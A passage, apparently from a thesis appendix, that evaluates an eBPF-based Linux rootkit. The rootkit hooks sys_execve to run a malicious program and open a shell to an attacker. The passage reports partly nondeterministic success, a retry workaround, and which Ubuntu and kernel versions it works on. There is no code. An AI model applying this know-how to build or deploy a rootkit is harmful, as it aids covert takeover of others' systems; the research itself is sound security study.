Expected result: Each time a sys_execve is triggered by the system, the rootkit

will attempt to execute the malicious program and, if an attacker’s machine has

sent the corresponding commands, it will activate the pseudo-shell.

Attack Partially Succeed: the attack works, and the shell is successfully opened

on the attacker’s machine, as shown in Figure D.6. However, subsequent tests
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revealed that this result is not deterministic. The malicious program is executed

randomly because the manipulation of the system call does not always succeed. Nu-

merous page faults were observed, where attempts to access the filename (containing

the malicious program) passed to sys_execve failed. This can occur because the

function may have been intercepted either too early or too late, resulting in the

buffer that should contain the malicious program’s file either not being filled yet or

already emptied. This behavior is unpredictable, so the solution turned out to be

simply retrying to trigger the function.

Figure D.6: Simple_execve program executed when the rootkit is running.

Summary

The tests were replicated with the same results as just presented on Ubuntu

21.04 using the following Linux kernel versions:

• 5.8.5-050805-generic

• 5.10.5-051005-generic

• 5.11.0-16-generic

• 5.12.5-051205-generic
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All tests conducted on later kernel versions, such as 5.14.5-051405-generic, 5.15.10-

051405-generic and newer, were unsuccessful, revealing issues during the attachment

phase of tc programs. Similarly, tests performed on different Linux distributions,

including Ubuntu 20.04 and Ubuntu 22.04, also failed. Even when using the same

kernel version across different distributions, compatibility issues were observed. For

instance, a kernel version that works correctly on Ubuntu 21.04 fails to do so on

Ubuntu 20.04. This suggests that the problem is not solely related to the kernel

version but could also stem from differences in how these distributions handle mem-

ory operations. Specifically, the issue may arise from the way the programs access

memory registers, as distributions or kernel updates often implement variations

in memory management, system call behavior, or protection mechanisms. Thus,

the current version of the rootkit’s code, if not properly patched, is compatible

exclusively with Ubuntu 21.04.
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